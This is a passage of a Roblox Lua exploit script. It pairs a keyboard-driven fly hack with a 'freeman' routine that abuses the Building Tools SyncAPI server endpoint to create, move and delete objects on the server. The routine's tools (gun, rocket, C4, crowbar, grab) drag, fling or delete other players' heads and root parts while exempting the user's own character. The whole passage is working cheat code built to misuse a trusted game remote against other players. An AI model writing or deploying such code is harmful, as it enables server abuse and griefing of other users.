								Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
							end
							if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
								SPEED = 50
							elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
								SPEED = 0
							end
							if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
								BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
								lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
							elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
								BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
							else
								BV.velocity = Vector3.new(0, 0, 0)
							end
							BG.cframe = workspace.CurrentCamera.CoordinateFrame
						until not FLYING
						CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
						lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
						SPEED = 0
						BG:Destroy()
						BV:Destroy()
						if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
							Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
						end
					end)
				end
				flyKeyDown = IYMouse.KeyDown:Connect(function(KEY)
					if KEY:lower() == 'w' then
						CONTROL.F = (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 's' then
						CONTROL.B = - (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 'a' then
						CONTROL.L = - (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 'd' then 
						CONTROL.R = (vfly and vehicleflyspeed or iyflyspeed)
					elseif QEfly and KEY:lower() == 'e' then
						CONTROL.Q = (vfly and vehicleflyspeed or iyflyspeed)*2
					elseif QEfly and KEY:lower() == 'q' then
						CONTROL.E = -(vfly and vehicleflyspeed or iyflyspeed)*2
					end
					pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Track end)
				end)
				flyKeyUp = IYMouse.KeyUp:Connect(function(KEY)
					if KEY:lower() == 'w' then
						CONTROL.F = 0
					elseif KEY:lower() == 's' then
						CONTROL.B = 0
					elseif KEY:lower() == 'a' then
						CONTROL.L = 0
					elseif KEY:lower() == 'd' then
						CONTROL.R = 0
					elseif KEY:lower() == 'e' then
						CONTROL.Q = 0
					elseif KEY:lower() == 'q' then
						CONTROL.E = 0
					end
				end)
				FLY()
			end
			sFLY()
		end

		local function dofreemanr15()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			local function CreateBall(position,parent)
				Event:InvokeServer("CreatePart", "Ball", position, parent)
			end

			local function CreateCylinder(position,parent)
				Event:InvokeServer("CreatePart", "Cylinder", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ResizeObject(part,cframe,vector3)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe,
							["Size"] = vector3
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeNeon(part)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Material"] = Enum.Material.Neon
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeDecal(part,face,textureid)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal"
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal",
							["Texture"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CreateSmoke(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Smoke"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateSpotLight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight" -- Spot light, Point light, Surface light
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeBrightness(part)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight", -- or "SpotLight"
							["Brightness"] = 10
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeBrightnessAngle(part,angle)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight", -- or "SpotLight"
							["Angle"] = angle
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			-- Function to find the nearest player
			local function FindNearestPlayer(soldier)
				local nearestPlayer = nil
				local nearestDistance = math.huge

				for _, player in pairs(game.Players:GetPlayers()) do
					local character = player.Character
					if character then
						if character.HumanoidRootPart then
							local distance = (character.HumanoidRootPart.Position - soldier.Position).Magnitude
							if distance < nearestDistance then
								if player.Name == game.Players.LocalPlayer.Name then

								else
									nearestDistance = distance
									nearestPlayer = player
								end
							end
						end
					end
				end
				return nearestPlayer
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("HumanoidRootPart")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function GetNearestPartTo(soldier)
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("HumanoidRootPart")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") or part:IsA("MeshPart") then
							if part.Name == "crowbar" or part.Name == "Hull" or part.Name == "gun" or part.Name == "rpg" or part.Parent == game.Players.LocalPlayer.Character then

							else
								local distance = (soldier.Position - part.Position).Magnitude
								if distance < nearestDistance then
									nearestDistance = distance
									nearestPart = part
								end
							end
						end
					end
				end

				return nearestPart
			end



			---------freeman script---------------------
			if char:FindFirstChild("Animate") then
				char:FindFirstChild("Animate"):Destroy()
			end

			for i,v in char:GetChildren() do
				if v:IsA("Accessory") then
					v:Destroy()
				elseif v:IsA("Part") or v:IsA("MeshPart") then
					ChangeTransparency(v,1);
				end
			end
			if char:FindFirstChild("Head"):FindFirstChild("face") then
				DestroyObject(char:FindFirstChild("Head"):FindFirstChild("face"));
			end
			---ye-----------------------------------

			CreatePart(char:FindFirstChild("UpperTorso").CFrame,workspace.Terrain)

			local akakak = GetNearestPart()
			CanCollide(akakak,false)
			Rename(akakak,"Hull")
			local hull = workspace.Terrain:FindFirstChild("Hull")

			CreateMesh(hull,"rbxassetid://12903182903")
			ChangeMeshTexture(hull,"rbxassetid://1202034198")
			ChangeMeshSize(hull,Vector3.new(0.2,0.2,0.2))


			local createcouch = Instance.new("Tool",char)
			createcouch.Enabled = true
			createcouch.RequiresHandle = false
			createcouch.Name = "CreateCouch"

			local createsmoke = Instance.new("Tool",char)
			createsmoke.Enabled = true
			createsmoke.RequiresHandle = false
			createsmoke.Name = "CreateSmoke"

			local createc4 = Instance.new("Tool",char)
			createc4.Enabled = true
			createc4.RequiresHandle = false
			createc4.Name = "CreateC4"

			local grab = Instance.new("Tool",char)
			grab.Enabled = true
			grab.RequiresHandle = false
			grab.Name = "Grab"

			local function CreateCouch()
				local tors = char:FindFirstChild("UpperTorso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(1,1000);
				Rename(akakakek,tostring(randomname))
				local newcouch = workspace.Terrain:FindFirstChild(tostring(randomname))

				CreateMesh(newcouch,"rbxassetid://437989588")
				ChangeMeshTexture(newcouch,"rbxassetid://437989607")
				ChangeMeshSize(newcouch,Vector3.new(0.001,0.001,0.001))
				Anchor(newcouch,false)
			end

			local function CSmoke()
				local tors = char:FindFirstChild("UpperTorso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(1,1000);
				Rename(akakakek,tostring(randomname))
				local newsmoke = workspace.Terrain:FindFirstChild(tostring(randomname))

				CreateMesh(newsmoke,"rbxassetid://437001004")
				ChangeMeshTexture(newsmoke,"rbxassetid://437001024")
				ChangeMeshSize(newsmoke,Vector3.new(0.005,0.005,0.005))
				Anchor(newsmoke,false)
				CreateSmoke(newsmoke);
			end

			local grabbed = false;
			local function Grab()
				local hull = workspace.Terrain:FindFirstChild("Hull")
				local nearestplr = FindNearestPlayer(hull);
				grabbed = true;
				if grabbed == true then
					local run
					run = game:GetService("RunService").Heartbeat:Connect(function()
						if nearestplr.Character.HumanoidRootPart then
							MovePart(nearestplr.Character.HumanoidRootPart,hull.CFrame)
						end
					end)
				else
					run:Disconnect();
				end
			end

			local function CreateExplosion()
				local part = workspace:FindFirstChild("Gigaboom")
				local part2 = workspace:FindFirstChild("C4")
				ChangeTransparency(part,0)


				local stop = false;

				MovePart(part,part2.CFrame)

				ChangeTransparency(part2,1);
				DestroyObject(part2);


				local degreez = 0
				local vectorx = 1;
				local vectory = 1;
				local vectorz = 1;

				local localsound = Instance.new("Sound",workspace);
				localsound.SoundId = "rbxassetid://2814355743"
				localsound.Volume = 10
				localsound:Play();

				local transparency = 0;

				local impact = true;
				ChangeTransparency(part2,0)
				local run
				run = game:GetService("RunService").Heartbeat:Connect(function()
					if stop == true then
						DestroyObject(workspace:FindFirstChild("Gigaboom"));
						DestroyObject(workspace:FindFirstChild("C4"));
						run:Disconnect();
					else

						Rotate(part,part.CFrame.X,part.CFrame.Y,part.CFrame.Z,0,math.rad(degreez),0)

						ChangeMeshSize(part,Vector3.new(vectorx, vectory, vectorz));
						ChangeTransparency(part,transparency);

						transparency = transparency + 0.03
						vectory = vectory + 10
						vectorx = vectorx + 0.5
						vectorz = vectorz + 0.5
						degreez = degreez + 10

						if impact == true then
							for i,v in game.Players:GetPlayers() do
								local chark = v.Character
								if chark then
									local head = chark:FindFirstChild("Head")
									local hrp = chark:FindFirstChild("HumanoidRootPart")
									if head and hrp then
										local distance = (part2.Position - hrp.Position).Magnitude
										if distance < 40 then
											if v.Name == game.Players.LocalPlayer.Name then
												--whitelisted
											else
												MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
												impact = false
											end
										end
									end
								end
							end
						end

						if transparency > 1 then
							stop = true;
							if workspace.Terrain:FindFirstChild("Gigaboom") then
								stop = true;
								DestroyObject(workspace.Terrain:FindFirstChild("Gigaboom"));
								DestroyObject(workspace.Terrain:FindFirstChild("C4"));
								run:Disconnect();
								stop = true;
							end
						end
					end
				end)
			end

			local function CreateC4()
				local tors = char:FindFirstChild("UpperTorso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace)

				local akakakek = GetNearestPart()
				Rename(akakakek,"C4")
				local newc4 = workspace:FindFirstChild("C4")

				CreateMesh(newc4,"rbxassetid://437001004")
				ChangeMeshTexture(newc4,"rbxassetid://437001024")
				ChangeMeshSize(newc4,Vector3.new(0.005,0.005,0.005))
				Anchor(newc4,false);

				CreatePart(newc4.CFrame,workspace);
				local partd2 = GetNearestPart();

				Rename(partd2,"Gigaboom");
				local part2 = workspace:FindFirstChild("Gigaboom")
				ChangeTransparency(part2,1);

				CreateMesh(part2,"rbxassetid://6862105399");

				CanCollide(part2,false);

				task.wait(3)
				CreateExplosion()
			end

			local fpv = false;
			local crowbarr = false;
			local gunn = false;
			local rpgg = false;
			local function switchtofpv()
				local hull = workspace.Terrain:FindFirstChild("Hull")
				DestroyObject(hull:FindFirstChild("Mesh"));

				CreateMesh(hull,"rbxassetid://127182968550642")
				ChangeMeshTexture(hull,"rbxassetid://73913161706616")
				ChangeMeshSize(hull,Vector3.new(0.3,0.3,0.3))


				--crowbar
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek = GetNearestPart()
				Rename(akakakek,"crowbar")
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				ChangeTransparency(crowbar,1);
				CanCollide(crowbar,false)

				CreateMesh(crowbar,"rbxassetid://132616338987825")
				ChangeMeshTexture(crowbar,"rbxassetid://76743217167069")
				ChangeMeshSize(crowbar,Vector3.new(0.3,0.3,0.3))

				--gun
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek2 = GetNearestPart()
				Rename(akakakek2,"gun")
				local gun = workspace.Terrain:FindFirstChild("gun")
				ChangeTransparency(gun,1);
				CanCollide(gun,false)

				CreateMesh(gun,"rbxassetid://430034545")
				ChangeMeshTexture(gun,"rbxassetid://430034547")
				ChangeMeshSize(gun,Vector3.new(0.3,0.3,0.3))

				--rpg
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek2 = GetNearestPart()
				Rename(akakakek2,"rpg")
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				ChangeTransparency(rpg,1);
				CanCollide(rpg,false)

				CreateMesh(rpg,"rbxassetid://9742460834")
				ChangeMeshTexture(rpg,"rbxassetid://9742460902")
				ChangeMeshSize(rpg,Vector3.new(0.3,0.3,0.3))

				for i,v in char:GetChildren() do
					if v.Name == "Head" then
						ChangeTransparency(v,0);
					end
				end

				fpv = true;

			end

			createcouch.Activated:Connect(function()
				CreateCouch();
			end)

			createsmoke.Activated:Connect(function()
				CSmoke();
			end)

			createc4.Activated:Connect(function()
				CreateC4();
			end)

			grab.Activated:Connect(function()
				if grabbed == false then
					Grab();
				else
					grabbed = false
				end
			end)

			local head = char:FindFirstChild("Head")

			local function updateTurretRotation()
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				local gun = workspace.Terrain:FindFirstChild("gun")
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				local cameraCFrame = workspace.Camera.CFrame
				local headCFrame = char.Head.CFrame
				local UpperTorsoCFrame = char.UpperTorso.CFrame

				local lookVector = cameraCFrame.LookVector
				local rightVector = cameraCFrame.RightVector

				local oppositeVector = Vector3.new(-lookVector.X, 0, -lookVector.Z).Unit

				local anglesX, anglesY, anglesZ = 0, math.atan2(oppositeVector.X, oppositeVector.Z), 0

				if fpv == true then
					Rotate(hull, UpperTorsoCFrame.Position.X, UpperTorsoCFrame.Position.Y-2, UpperTorsoCFrame.Position.Z, anglesX, anglesY, anglesZ)
				else
					Rotate(hull, headCFrame.Position.X, headCFrame.Position.Y + 3, headCFrame.Position.Z, anglesX, anglesY, anglesZ)
				end
				if crowbarr == true then
					Rotate(crowbar, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
				if gunn == true then
					Rotate(gun, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
				if rpgg == true then
					Rotate(rpg, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
			end

			local function calculateDirection(gunPosition, mouseHitPosition)
				local direction = (mouseHitPosition - gunPosition).Unit
				return direction
			end


			local function calculateAngles(direction)
				local angleX = math.atan2(-direction.X, math.sqrt(direction.Y^2 + direction.Z^2))
				local angleY = math.asin(direction.Y)
				local angleZ = math.atan2(-direction.Z, direction.Y)
				return angleX, angleY, angleZ
			end

			local UserInputService = game:GetService("UserInputService")
			local RunService = game:GetService("RunService")
			local Players = game:GetService("Players")
			local mouse = game:GetService("Players").LocalPlayer:GetMouse()

			local function CreateBullet()
				local gun = workspace.Terrain:FindFirstChild("gun")
				CreatePart(CFrame.new(gun.CFrame.X,gun.CFrame.Y,gun.CFrame.Z),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(0,1000)
				Rename(akakakek,tostring(randomname))
				local bullet = workspace.Terrain:FindFirstChild(tostring(randomname))
				CanCollide(bullet,false)

				ResizeObject(bullet,bullet.CFrame,Vector3.new(1,1,1))

				CreateSpotLight(bullet);

				ChangeBrightness(bullet);

				ChangeBrightnessAngle(bullet,360);


				local mouseHitPosition = mouse.Hit.Position
				local gunPosition = gun.Position
				local direction = calculateDirection(gunPosition, mouseHitPosition)
				local angleX, angleY, angleZ = calculateAngles(direction)


				Rotate(bullet, gunPosition.X, gunPosition.Y, gunPosition.Z, angleX, angleY, angleZ)


				local distance = (mouseHitPosition - gunPosition).Magnitude
				local speed = 100
				local time = distance / speed
				local startTime = tick()
				local currentPosition = gunPosition
				while tick() - startTime < time do
					local t = (tick() - startTime) / time
					local newPosition = gunPosition:Lerp(mouseHitPosition, t)
					local newDirection = (newPosition - currentPosition).Unit
					local newAngleX, newAngleY, newAngleZ = calculateAngles(newDirection)
					Rotate(bullet, newPosition.X, newPosition.Y, newPosition.Z, newAngleX, newAngleY, newAngleZ)
					currentPosition = newPosition


					for _, player in pairs(Players:GetPlayers()) do
						if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
							local distanceToPlayer = (bullet.Position - player.Character.HumanoidRootPart.Position).Magnitude
							if distanceToPlayer <= 20 then
								if player.Name == game.Players.LocalPlayer.Name then

								else
									DestroyObject(player.Character:FindFirstChild("Head"))
									DestroyObject(bullet)
									return
								end
							end
						end
					end
					local maxDistance = 150
					if (bullet.Position - gunPosition).Magnitude > maxDistance then
						DestroyObject(bullet)
						return
					end

					RunService.RenderStepped:wait()
				end
				DestroyObject(bullet)
			end

			local function CreateRocket()
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				CreatePart(CFrame.new(rpg.CFrame.X,rpg.CFrame.Y,rpg.CFrame.Z),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(0,1000)
				Rename(akakakek,tostring(randomname))
				local rocket = workspace.Terrain:FindFirstChild(tostring(randomname))
				CreateMesh(rocket,"rbxassetid://454821348")
				ChangeMeshTexture(rocket,"rbxassetid://454821354")
				CanCollide(rocket,false)
				ChangeMeshSize(rocket,Vector3.new(0.01,0.01,0.01))

				ResizeObject(rocket,rocket.CFrame,Vector3.new(1,1,1))


				local mouseHitPosition = mouse.Hit.Position
				local gunPosition = rpg.Position
				local direction = calculateDirection(gunPosition, mouseHitPosition)
				local angleX, angleY, angleZ = calculateAngles(direction)


				Rotate(rocket, gunPosition.X, gunPosition.Y, gunPosition.Z, angleX, angleY, angleZ)

				CreatePart(rocket.CFrame,workspace.Terrain);
				local partd2 = GetNearestPart();

				local randomname2 = math.random(0,1000)

				Rename(partd2,"hui");
				local boom = workspace.Terrain:FindFirstChild("hui")
				ChangeTransparency(boom,0.5);

				CreateMesh(boom,"rbxassetid://6862105399");

				CanCollide(boom,false);

				local distance = (mouseHitPosition - gunPosition).Magnitude
				local speed = 100
				local time = distance / speed
				local startTime = tick()
				local currentPosition = gunPosition


				local transparency = 0
				local vectory = 0
				local vectorx = 0
				local vectorz = 0
				local degreez = 0
				local doonce = false;
				local stop = false;

				local impact = true;
				ChangeTransparency(boom,0)
				local run                
				while tick() - startTime < time do
					if stop == true then
						DestroyObject(workspace.Terrain:FindFirstChild(boom));
						DestroyObject(workspace.Terrain:FindFirstChild(rocket));
					else
						local t = (tick() - startTime) / time
						local newPosition = gunPosition:Lerp(mouseHitPosition, t)
						local newDirection = (newPosition - currentPosition).Unit
						local newAngleX, newAngleY, newAngleZ = calculateAngles(newDirection)
						Rotate(rocket, newPosition.X, newPosition.Y, newPosition.Z, newAngleX, newAngleY, newAngleZ)
						currentPosition = newPosition

						for _, player in pairs(Players:GetPlayers()) do
							if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
								local distanceToPlayer = (rocket.Position - player.Character.HumanoidRootPart.Position).Magnitude
								if distanceToPlayer <= 20 then
									if player.Name == game.Players.LocalPlayer.Name then

									else
										run = game:GetService("RunService").Heartbeat:Connect(function()
											if stop == true then
												DestroyObject(workspace.Terrain:FindFirstChild(boom));
												DestroyObject(workspace.Terrain:FindFirstChild(rocket));
												run:Disconnect();
											else

												Rotate(boom,rocket.CFrame.X,rocket.CFrame.Y,rocket.CFrame.Z,0,math.rad(degreez),0)

												ChangeMeshSize(boom,Vector3.new(vectorx, vectory, vectorz));
												ChangeTransparency(boom,transparency);

												transparency = transparency + 0.03
												vectory = vectory + 10
												vectorx = vectorx + 0.5
												vectorz = vectorz + 0.5
												degreez = degreez + 10

												if impact == true then
													for i,v in game.Players:GetPlayers() do
														local chark = v.Character
														if chark then
															local head = chark:FindFirstChild("Head")
															local hrp = chark:FindFirstChild("HumanoidRootPart")
															if head and hrp then
																local distance = (boom.Position - hrp.Position).Magnitude
																if distance < 40 then
																	if v.Name == game.Players.LocalPlayer.Name then
																		--whitelisted
																	else
																		MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
																		impact = false
																	end
																end
															end
														end
													end
												end

												if transparency > 1 then
													stop = true;
													if workspace.Terrain:FindFirstChild(boom) or workspace.Terrain:FindFirstChild(rocket) then
														stop = true;
														DestroyObject(workspace.Terrain:FindFirstChild(boom));
														DestroyObject(workspace.Terrain:FindFirstChild(rocket));
														run:Disconnect();
														stop = true;
													end
												end
											end
										end)
									end
								end
							end
						end
						return
					end
					local maxDistance = 150
					if (rocket.Position - gunPosition).Magnitude > maxDistance then
						DestroyObject(rocket)
						return
					end

					RunService.RenderStepped:wait()
				end
				DestroyObject(rocket)
			end

			local function UseCrowbar()
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				local mouse = LocalPlayer:GetMouse()
				MovePart(crowbar, CFrame.new(mouse.Hit.Position));

				local hitpart = GetNearestPartTo(crowbar)
				DestroyObject(hitpart)
			end


			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.C then
					if (not gameprocess) then
						if fpv == false then
							switchtofpv()
						end
					end
				end
			end)

			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.V then
					if (not gameprocess) then
						if fpv == true then
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local gun = workspace.Terrain:FindFirstChild("gun")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if crowbar.Transparency == 1 then
								crowbarr = true
								gunn = false
								rpgg = false
								ChangeTransparency(crowbar,0)
								ChangeTransparency(gun,1)
								ChangeTransparency(rpg,1)
							else
								crowbarr = false;
								ChangeTransparency(crowbar,1)
							end
						end
					end
				end
			end)
			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.B then
					if (not gameprocess) then
						if fpv == true then
							local gun = workspace.Terrain:FindFirstChild("gun")
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if gun.Transparency == 1 then
								gunn = true
								crowbarr = false
								rpgg = false
								ChangeTransparency(gun,0)
								ChangeTransparency(crowbar,1)
								ChangeTransparency(rpg,1)
							else
								gunn = false;
								ChangeTransparency(gun,1)
							end
						end
					end
				end
			end)
			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.X then
					if (not gameprocess) then
						if fpv == true then
							local gun = workspace.Terrain:FindFirstChild("gun")
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if rpg.Transparency == 1 then
								gunn = false
								crowbarr = false
								rpgg = true
								ChangeTransparency(gun,1)
								ChangeTransparency(crowbar,1)
								ChangeTransparency(rpg,0)
							else
								rpgg = false;
								ChangeTransparency(rpg,1)
							end
						end
					end
				end
			end)
			UserInputService.InputBegan:Connect(function(input, gameprocess)
				if input.UserInputType == Enum.UserInputType.MouseButton1 then
					if (not gameprocess) then
						if gunn == true then
							CreateBullet()
						end
						if crowbarr == true then
							UseCrowbar()
						end
						if rpgg == true then
							CreateRocket()
						end
					end
				end
			end)

			local vfly = false
			local FLYING = false
			local QEfly = true
			local iyflyspeed = 1
			local vehicleflyspeed = 1
			function NOFLY()
				FLYING = false
				if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end
				if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
					Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
				end
				pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end)
			end

			local function CheckDeath()
				if LocalPlayer.Character.Humanoid.Health < 100 then
					if fpv == true then
						local gun = workspace.Terrain:FindFirstChild("gun")
						local crowbar = workspace.Terrain:FindFirstChild("crowbar")
						local rpg = workspace.Terrain:FindFirstChild("rpg")
						local hull = workspace.Terrain:FindFirstChild("Hull")
						NOFLY()
						DestroyObject(rpg)
						DestroyObject(hull)
						DestroyObject(crowbar)
						DestroyObject(gun)
					else
						NOFLY()
						DestroyObject(hull)
					end
				end
			end

			local run
			run = game:GetService("RunService").Heartbeat:Connect(function()
				updateTurretRotation()
				CheckDeath()
			end)
